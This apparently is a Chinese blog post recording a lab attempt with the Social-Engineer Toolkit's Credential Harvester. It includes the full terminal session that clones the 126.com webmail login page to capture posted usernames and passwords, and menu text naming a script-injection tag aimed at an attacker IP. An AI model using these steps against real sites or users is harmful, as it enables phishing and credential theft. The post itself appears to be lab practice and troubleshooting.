metasploit的SET的Credential Harvester Attack Method

环境：BT5，XP或者Win7，IE6、IE8、谷歌浏览器

操作如下：

root@bt:/pentest/exploits/set# ./set0101100101101111011101010010000001110010011001010110000101101100011011000111100100100000011010000110000101110110011001010010000001110100011011110010000001101101011101010110001101101000001000000111010001101001011011010110010100100000011011110110111000100000011110010110111101110101011100100010000001101000011000010110111001100100011100110010000000111010001011010010100100100000010101000110100001100001011011100110101101110011001000000110011001101111011100100010000001110101011100110110100101101110011001110010000001110100011010000110010100100000010100110110111101100011011010010110000101101100001011010100010101101110011001110110100101101110011001010110010101110010001000000101010001101111011011110110110001101011011010010111010000100000001010100110100001110101011001110111001100101010[---]        The Social-Engineer Toolkit (SET)         [---]        [---]        Created by: David Kennedy (ReL1K)         [---][---]        Development Team: JR DePre (pr1me)        [---][---]        Development Team: Joey Furr (j0fer)       [---][---]        Development Team: Thomas Werth            [---][---]        Development Team: Garland                 [---][---]                  Version: 3.6                    [---][---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---][---]        Report bugs: davek@trustedsec.com         [---][---]         Follow me on Twitter: dave_rel1k         [---][---]       Homepage: https://www.trustedsec.com       [---]Welcome to the Social-Engineer Toolkit (SET). Your onestop shop for all of your social-engineering needs..Join us on irc.freenode.net in channel #setoolkitThe Social-Engineer Toolkit is a product of TrustedSec.Visit: https://www.trustedsec.comSelect from the menu:1) Social-Engineering Attacks2) Fast-Track Penetration Testing3) Third Party Modules4) Update the Metasploit Framework5) Update the Social-Engineer Toolkit6) Update SET configuration7) Help, Credits, and About99) Exit the Social-Engineer Toolkitset> 1.M"""bgd `7MM"""YMM MMP""MM""YMM ,MI    "Y   MM    `7 P'   MM   `7 `MMb.       MM   d        MM      `YMMNq.   MMmmMM        MM      .     `MM   MM   Y  ,     MM      Mb     dM   MM     ,M     MM      P"Ybmmd"  .JMMmmmmMMM   .JMML.[---]        The Social-Engineer Toolkit (SET)         [---]        [---]        Created by: David Kennedy (ReL1K)         [---][---]        Development Team: JR DePre (pr1me)        [---][---]        Development Team: Joey Furr (j0fer)       [---][---]        Development Team: Thomas Werth            [---][---]        Development Team: Garland                 [---][---]                  Version: 3.6                    [---][---]          Codename: 'MMMMhhhhmmmmmmmmm'           [---][---]        Report bugs: davek@trustedsec.com         [---][---]         Follow me on Twitter: dave_rel1k         [---][---]       Homepage: https://www.trustedsec.com       [---]Welcome to the Social-Engineer Toolkit (SET). Your onestop shop for all of your social-engineering needs..Join us on irc.freenode.net in channel #setoolkitThe Social-Engineer Toolkit is a product of TrustedSec.Visit: https://www.trustedsec.comSelect from the menu:1) Spear-Phishing Attack Vectors2) Website Attack Vectors3) Infectious Media Generator4) Create a Payload and Listener5) Mass Mailer Attack6) Arduino-Based Attack Vector7) SMS Spoofing Attack Vector8) Wireless Access Point Attack Vector9) QRCode Generator Attack Vector10) Powershell Attack Vectors11) Third Party Modules99) Return back to the main menu.set> 2The Web Attack module is  a unique way of utilizing multiple web-based attacksin order to compromise the intended victim.The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by ThomasWerth to deliver the payload.The Metasploit Browser Exploit method will utilize select Metasploitbrowser exploits through an iframe and deliver a Metasploit payload.The Credential Harvester method will utilize web cloning of a web-site that has a username and password field and harvest all the information posted to the website.The TabNabbing method will wait for a user to move to a differenttab, then refresh the page to something different.The Man Left in the Middle Attack method was introduced by Kos and utilizes HTTP REFERER's in order to intercept fields and harvest data from them. You need to have an already vulnerable site and in-corporate <script src="http://YOURIP/">. This could either be from acompromised site or through XSS.The Web-Jacking Attack method was introduced by white_sheep, Emgent and the Back|Track team. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can editthe link replacement settings in the set_config if its too slow/fast.The Multi-Attack method will add a combination of attacks through the web attackmenu. For example you can utilize the Java Applet, Metasploit Browser,Credential Harvester/Tabnabbing, and the Man Left in the Middle attackall at once to see which is successful.1) Java Applet Attack Method2) Metasploit Browser Exploit Method3) Credential Harvester Attack Method4) Tabnabbing Attack Method5) Man Left in the Middle Attack Method6) Web Jacking Attack Method7) Multi-Attack Web Method8) Victim Web Profiler9) Create or import a CodeSigning Certificate99) Return to Main Menuset:webattack>3The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack.The second method will completely clone a website of your choosingand allow you to utilize the attack vectors within the completelysame web application you were attempting to clone.The third method allows you to import your own website, note that youshould only have an index.html when using the import websitefunctionality.1) Web Templates2) Site Cloner3) Custom Import99) Return to Webattack Menuset:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.1.11
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:email.126.com[*] Cloning the website: http://email.126.com
[*] This could take a little bit...The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[!] I have read the above message.Press <return> to continue[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
192.168.1.123 - - [28/Apr/2013 04:39:32] "GET / HTTP/1.1" 200 -
192.168.1.123 - - [28/Apr/2013 04:40:09] "GET / HTTP/1.1" 200 -
192.168.1.123 - - [28/Apr/2013 04:41:11] "GET / HTTP/1.1" 200 -

没有得到想要的用户名和密码。

克隆的网站如图：

在http://www.backtrack-linux.org/forums/showthread.php?t=29188上面，有人碰到了同样的问题。

成功画面应该是下面这样的：

我为什么拿不到用户名和密码？

后来，直接在BT5上用狐火浏览器做测试，是成功的，如图：

我初步怀疑是网络问题。

metasploit的SET的Credential Harvester Attack Method相关推荐

hacker attack method
hacker attack method 主动攻击获取 DDOS 信息炸弹网络监听恶意扫描 XSS跨站脚本 SQL注入邮件攻击被动获取 pishing 钓鱼网站 MITM WWW欺骗缩写 M ...
setoolkit的钓鱼攻击
试验设备 Linux kali 5.9.0版本在kail中setoolkit自带,无需下载,运行时需要赋予root权限打开我们所需要的工具 setoolkit //打开工具会跳出很多选项 Soc ...
渗透测试--3.1.社会工程学攻击
目录社会工程学攻击 SET介绍一.建立克隆钓鱼网站收集目标凭证二.set工具集之木马欺骗实战反弹链接三.后渗透阶段 1.查看主机系统信息 2.到处用户密码的hash值 3.获得shell控制台 ...
【安全系列】setoolkit钓鱼
setoolkit是一个为社会工程设计的开源渗透测试框架.SET具有许多自定义攻击向量,可让您快速进行可信的攻击. setoolkit 目录结构 modules readme README.md re ...
《Metasploit渗透测试魔鬼训练营》学习笔记
Metasploit渗透测试魔鬼训练营学习笔记法律常识 <中华人民共和国网络安全法>已由中华人民共和国第十二届全国人民代表大会常务委员会第二十四次会议于2016年11月7日通过,现予公布 ...
MetaSploit攻击实例讲解------社会工程学set攻击（kali linux 2016.2(rolling)）（详细）
来源:https://www.cnblogs.com/zlslch/p/6888540.html 不多说,直接上干货! 首先,如果你是用的BT5,则set的配置文件是在 /pentest/exploi ...
Metasploit魔鬼训练营笔记
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档文章目录前言一.什么是渗透测试二.初识Metasploit 1.针对Metasploitable2上samba服务漏洞的小实验 ...
XSS实战攻击思路总结
前言前几天看到B站up主公孙田浩投稿的视频「QQ被盗后发布赌博广告,我一气之下黑了他们网站」,看完后不禁感叹为啥自己没有那么好的运气......实际上这就是一个中规中矩的XSS漏洞案例,在安全圈子里 ...
Kali Linux Web 渗透测试秘籍第九章客户端攻击和社会工程
第九章客户端攻击和社会工程作者:Gilberto Najera-Gutierrez 译者:飞龙协议:CC BY-NC-SA 4.0 简介我们目前所见的大部分技巧都尝试利用服务端的漏洞或设计缺陷 ...
backtrack5渗透笔记
目录 1.信息收集 2.扫描工具 3.漏洞发现 4.社会工程学工具 5.运用层攻击msf 6.局域网攻击 ...

metasploit的SET的Credential Harvester Attack Method

metasploit的SET的Credential Harvester Attack Method相关推荐

最新文章

热门文章